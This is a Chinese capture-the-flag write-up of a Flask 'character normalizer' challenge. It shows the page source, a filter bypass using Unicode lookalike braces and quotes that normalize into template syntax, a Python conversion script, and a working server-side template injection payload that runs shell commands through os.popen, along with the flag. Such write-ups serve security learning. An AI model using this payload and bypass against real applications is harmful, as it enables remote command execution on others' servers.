了解flask模板注入(ssti)
参考:https://blog.csdn.net/qq_59950255/article/details/123215817
easy_web
加引号尝试注入,有报错提示引号是不准使用的字符
检查网页源代码发现
<html><head>
<link rel="stylesheet" href="/static/cc.css">
<link rel="stylesheet" href="/static/common.css">
<script src="./../static/jquery.min.js"></script>
<script>
function send(){
let str = $('#str')[0].value;
if(str.length > 0){
$.post("/", {'str': str}, function(data){
$('#msg')[0].innerHTML = '<b>' + data + '</b>';
$('#error')[0].className = "shorten_error_display";
});
}
}
</script>
</head>
<body><center><div id="content" class="" style="width: 700px;"><div class="shorten_page page_block" style="padding: 40px 20px 0;">
<div class="shorten_header">字符规范器</div>
<div class="shorten_about">将您输入的文本标准化的在线工具</div>
<div class="shorten_row shorten_form_row" id="shorten_row">
<div class="shorten_input shorten_input_wrapper" id="shorten_input_wrapper">
<input type="text" class="dark shortener_input" id="str" placeholder="文本内容" value="ℒℯℴ𝓃𝒶𝒓𝒹𝘰">
</div>
<div class="shorten_input">
<button class="shorten_button flat_button" onclick="send()" id="shorten_btn">
Go
</button>
</div>
</div>
<div class="shorten_error" id="error" style="padding-bottom: 10px; height: 50px;">
<div class="msg"><div id="msg" class="msg_text"></div></div>
</div>
</div>
</div></center></body></html>
抓包中返回python版本,可能存在flask_ssti模板注入
输入{{11}}发现{{}}被过滤
找一些特殊字符看看字符规范器效果和能不能找到能规范成{{}}的特殊字符
特殊字符查找网站:
https://ip138.com/teshufuhao/
找到特殊字符︷︷︸︸
1+1的代码执行了,存在ssti模板注入漏洞
好用的payload
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
但需将受限字符先转为特殊字符,使用python脚本完成上述处理
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
# 如果需要替换replace(被替换的字符,替换后的字符)
str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str = str.replace('\"', '"')
print(str)
结果payload
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸
flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}
参考:
https://blog.csdn.net/yuanxu8877/article/details/128101173